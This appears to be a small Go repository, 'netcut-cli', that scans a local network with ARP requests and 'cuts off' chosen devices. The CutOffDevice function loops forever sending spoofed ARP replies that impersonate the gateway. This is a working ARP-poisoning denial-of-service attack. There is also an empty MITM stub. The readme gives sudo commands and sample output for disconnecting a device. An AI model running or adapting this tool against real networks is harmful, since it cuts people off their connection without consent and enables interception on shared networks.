├── LICENSE ├── go.mod ├── go.sum ├── main.go ├── networkScan ├── helper.go └── network.go └── readme.md /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2024 mohamed masmoudi 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/enigma522/netcut-cli 2 | 3 | go 1.23.2 4 | 5 | require github.com/google/gopacket v1.1.19 // indirect 6 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/google/gopacket v1.1.19 h1:ves8RnFZPGiFnTS0uPQStjwru6uO6h+nlr9j6fL7kF8= 2 | github.com/google/gopacket v1.1.19/go.mod h1:iJ8V8n6KS+z2U1A8pUwu8bW5SyEMkXJB8Yo/Vo+TKTo= 3 | golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= 4 | golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= 5 | golang.org/x/lint v0.0.0-20200302205851-738671d3881b/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY= 6 | golang.org/x/mod v0.1.1-0.20191105210325-c90efee705ee/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg= 7 | golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= 8 | golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= 9 | golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 10 | golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= 11 | golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 12 | golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= 13 | golang.org/x/tools v0.0.0-20200130002326-2f3ba24bd6e7/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= 14 | golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= 15 | -------------------------------------------------------------------------------- /main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "flag" 5 | "log" 6 | "net" 7 | 8 | "github.com/enigma522/netcut-cli/networkScan" 9 | ) 10 | 11 | func main() { 12 | 13 | 14 | scanFlag := flag.Bool("scan", false, "Scan the network") 15 | CIDR := flag.String("cidr", "", "CIDR for the network scan") 16 | cutFlag := flag.Bool("cut", false, "Cut off a device") 17 | ipAddr := flag.String("ip", "", "IP address of the device to cut off (required if using cut option)") 18 | mac := flag.String("mac", "", "MAC address of the device to cut off (required if using cut option)") 19 | gateway := flag.String("g", "", "Gateway IP address") 20 | ifaceName := flag.String("i", "wlp49s0", "Interface name") 21 | flag.Parse() 22 | 23 | scanner := networkscan.NewNetworkScanner(*ifaceName) 24 | defer scanner.Close() 25 | 26 | if *scanFlag { 27 | scanner.NetScan(*CIDR) 28 | } 29 | 30 | if *cutFlag { 31 | if *ipAddr == "" { 32 | log.Fatal("IP address is required when using the cut option.") 33 | } 34 | var deviceToCut *networkscan.Device 35 | if (*mac == "") { 36 | devices := scanner.NetScan(*ipAddr + "/32") 37 | 38 | for _, device := range devices { 39 | if device.IP.String() == *ipAddr { 40 | deviceToCut = &device 41 | break 42 | } 43 | } 44 | }else{ 45 | deviceToCut = &networkscan.Device{ 46 | IP: net.ParseIP(*ipAddr), 47 | MAC: net.HardwareAddr{}, 48 | } 49 | macAddr, err := net.ParseMAC(*mac) 50 | if err != nil { 51 | log.Fatalf("Error parsing MAC address: %v", err) 52 | } 53 | deviceToCut.MAC = macAddr 54 | 55 | } 56 | if deviceToCut != nil { 57 | 58 | log.Printf("Cut off device: IP: %s, MAC: %s, HOSTNAME: %s\n", deviceToCut.IP, deviceToCut.MAC, deviceToCut.HOSTNAME) 59 | scanner.CutOffDevice(*deviceToCut,*gateway) 60 | } else { 61 | log.Printf("Device with IP: %s not found\n", *ipAddr) 62 | } 63 | } 64 | 65 | } 66 | -------------------------------------------------------------------------------- /networkScan/helper.go: -------------------------------------------------------------------------------- 1 | package networkscan 2 | 3 | import ( 4 | "log" 5 | "net" 6 | 7 | "github.com/google/gopacket" 8 | "github.com/google/gopacket/layers" 9 | "github.com/google/gopacket/pcap" 10 | ) 11 | 12 | func IncrementIP(ip net.IP) { 13 | for j := len(ip) - 1; j >= 0; j-- { 14 | ip[j]++ 15 | if ip[j] > 0 { 16 | break 17 | } 18 | } 19 | } 20 | 21 | 22 | func SendARPRequest(handle *pcap.Handle, dstMAC net.HardwareAddr ,srcMAC net.HardwareAddr, srcIP, dstIP net.IP) { 23 | ethLayer := &layers.Ethernet{ 24 | SrcMAC: srcMAC, 25 | DstMAC: net.HardwareAddr{0xff, 0xff, 0xff, 0xff, 0xff, 0xff}, // Broadcast 26 | EthernetType: layers.EthernetTypeARP, 27 | } 28 | 29 | arpLayer := &layers.ARP{ 30 | AddrType: layers.LinkTypeEthernet, 31 | Protocol: layers.EthernetTypeIPv4, 32 | HwAddressSize: 6, 33 | ProtAddressSize: 4, 34 | Operation: layers.ARPRequest, 35 | SourceHwAddress: []byte(srcMAC), 36 | SourceProtAddress: []byte(srcIP), 37 | DstHwAddress: []byte(dstMAC), 38 | DstProtAddress: []byte(dstIP), 39 | } 40 | 41 | buffer := gopacket.NewSerializeBuffer() 42 | opts := gopacket.SerializeOptions{} 43 | err := gopacket.SerializeLayers(buffer, opts, ethLayer, arpLayer) 44 | if err != nil { 45 | log.Println("Error serializing ARP request:", err) 46 | return 47 | } 48 | 49 | err = handle.WritePacketData(buffer.Bytes()) 50 | if err != nil { 51 | log.Println("Error sending ARP request:", err) 52 | } 53 | } 54 | 55 | func SendARPReply(handle *pcap.Handle, targetMAC net.HardwareAddr, targetIP net.IP, localMAC net.HardwareAddr, localIP net.IP) { 56 | 57 | ethLayer := &layers.Ethernet{ 58 | SrcMAC: localMAC, 59 | DstMAC: targetMAC, 60 | EthernetType: layers.EthernetTypeARP, 61 | } 62 | 63 | arpLayer := &layers.ARP{ 64 | AddrType: layers.LinkTypeEthernet, 65 | Protocol: layers.EthernetTypeIPv4, 66 | HwAddressSize: 6, 67 | ProtAddressSize: 4, 68 | Operation: layers.ARPReply, 69 | SourceHwAddress: localMAC, 70 | SourceProtAddress: localIP, 71 | DstHwAddress: targetMAC, 72 | DstProtAddress: targetIP, 73 | } 74 | 75 | // Serialize and send the packet 76 | buffer := gopacket.NewSerializeBuffer() 77 | opts := gopacket.SerializeOptions{} 78 | err := gopacket.SerializeLayers(buffer, opts, ethLayer, arpLayer) 79 | if err != nil { 80 | log.Println("Error serializing ARP reply:", err) 81 | return 82 | } 83 | 84 | err = handle.WritePacketData(buffer.Bytes()) 85 | if err != nil { 86 | log.Println("Error sending ARP reply:", err) 87 | } 88 | } 89 | 90 | 91 | 92 | // Helper function to handle ARP replies 93 | func HandleARPPacket(packet gopacket.Packet) Device { 94 | arpLayer := packet.Layer(layers.LayerTypeARP) 95 | if arpLayer != nil { 96 | arp, _ := arpLayer.(*layers.ARP) 97 | if arp.Operation == layers.ARPReply { 98 | host,_:=net.LookupAddr(net.IP(arp.SourceProtAddress).String()) 99 | return Device{ 100 | IP: net.IP(arp.SourceProtAddress), 101 | MAC: net.HardwareAddr(arp.SourceHwAddress), 102 | HOSTNAME: host, 103 | } 104 | 105 | } 106 | } 107 | return Device{} 108 | } -------------------------------------------------------------------------------- /networkScan/network.go: -------------------------------------------------------------------------------- 1 | package networkscan 2 | 3 | import ( 4 | "fmt" 5 | "log" 6 | "net" 7 | "time" 8 | 9 | "github.com/google/gopacket" 10 | "github.com/google/gopacket/pcap" 11 | ) 12 | 13 | type Device struct { 14 | IP net.IP 15 | MAC net.HardwareAddr 16 | HOSTNAME []string 17 | } 18 | 19 | type NetworkScanner struct { 20 | handle *pcap.Handle 21 | localIP net.IP 22 | localMAC net.HardwareAddr 23 | } 24 | 25 | func NewNetworkScanner(ifaceName string) *NetworkScanner { 26 | handle, err := pcap.OpenLive(ifaceName, 65536, true, pcap.BlockForever) 27 | if err != nil { 28 | log.Fatalf("Error opening device %s: %v", ifaceName, err) 29 | } 30 | 31 | iface, err := net.InterfaceByName(ifaceName) 32 | if err != nil { 33 | log.Fatalf("Error getting interface %s: %v", ifaceName, err) 34 | } 35 | 36 | addrs, err := iface.Addrs() 37 | if err != nil { 38 | log.Fatalf("Error getting addresses for interface %s: %v", ifaceName, err) 39 | } 40 | 41 | localIP := addrs[0].(*net.IPNet).IP.To4() 42 | localMAC := iface.HardwareAddr 43 | 44 | return &NetworkScanner{ 45 | handle: handle, 46 | localIP: localIP, 47 | localMAC: localMAC, 48 | } 49 | } 50 | 51 | func (ns *NetworkScanner) NetScan(targetNet string) []Device { 52 | _, ipNet, err := net.ParseCIDR(targetNet) 53 | if err != nil { 54 | log.Fatalf("Error parsing CIDR: %v", err) 55 | } 56 | fmt.Printf("Scanning network %s...\n", ipNet) 57 | 58 | // Create a channel to signal when the scan is done 59 | done := make(chan bool) 60 | defer close(done) 61 | 62 | go func() { 63 | for ip := ipNet.IP.Mask(ipNet.Mask); ipNet.Contains(ip); IncrementIP(ip) { 64 | if ip.Equal(ns.localIP) { 65 | continue 66 | } 67 | go SendARPRequest(ns.handle, net.HardwareAddr{0, 0, 0, 0, 0, 0}, ns.localMAC, ns.localIP, ip) 68 | time.Sleep(250 * time.Millisecond) // Limit the rate of ARP requests 69 | } 70 | time.Sleep(1 * time.Second) 71 | done <- true 72 | }() 73 | 74 | fmt.Println("Waiting for responses...") 75 | 76 | packetSource := gopacket.NewPacketSource(ns.handle, ns.handle.LinkType()) 77 | var devices []Device 78 | 79 | for { 80 | select { 81 | case packet := <-packetSource.Packets(): 82 | device := HandleARPPacket(packet) 83 | if device.IP != nil && device.MAC != nil { 84 | devices = append(devices, device) 85 | fmt.Printf("Discovered device: IP=%s, MAC=%s, HOSTNAME: %s\n", device.IP, device.MAC, device.HOSTNAME) 86 | } 87 | case <-done: 88 | fmt.Println("Stopping packet capture after scan completion.") 89 | return devices 90 | } 91 | } 92 | } 93 | 94 | func (ns *NetworkScanner) CutOffDevice(device Device,gateway string) { 95 | for { 96 | routerIp := net.ParseIP(gateway).To4() 97 | SendARPReply(ns.handle, device.MAC, device.IP, ns.localMAC, routerIp) 98 | time.Sleep(2 * time.Second) 99 | } 100 | 101 | } 102 | 103 | func MITM(device Device) { 104 | } 105 | 106 | func (ns *NetworkScanner) Close() { 107 | ns.handle.Close() 108 | } 109 | 110 | -------------------------------------------------------------------------------- /readme.md: -------------------------------------------------------------------------------- 1 | ## Features: 2 | 3 | - scan network 4 | - cut network 5 | - bandwidth limiting (in dev) 6 | 7 | scan network 8 | ```bash 9 | sudo go run ./main.go -scan -cidr 192.168.0.0/24 -i wlp49s0 10 | ``` 11 | 12 | to cut off a device 13 | ```bash 14 | sudo go run ./main.go -i wlp49s0 -cut -ip 192.168.0.2 15 | ``` 16 | output 17 | ``` 18 | Scanning network 192.168.0.2/32... 19 | Waiting for responses... 20 | Discovered device: IP=192.168.0.2, MAC=7c:fd:6b:xx:xx:xx, HOSTNAME: [] 21 | Stopping packet capture after scan completion. 22 | 2024/10/23 15:42:25 Cut off device: IP: 192.168.0.2, MAC: 7c:fd:6b:xx:xx:xx, HOSTNAME: [] 23 | ``` --------------------------------------------------------------------------------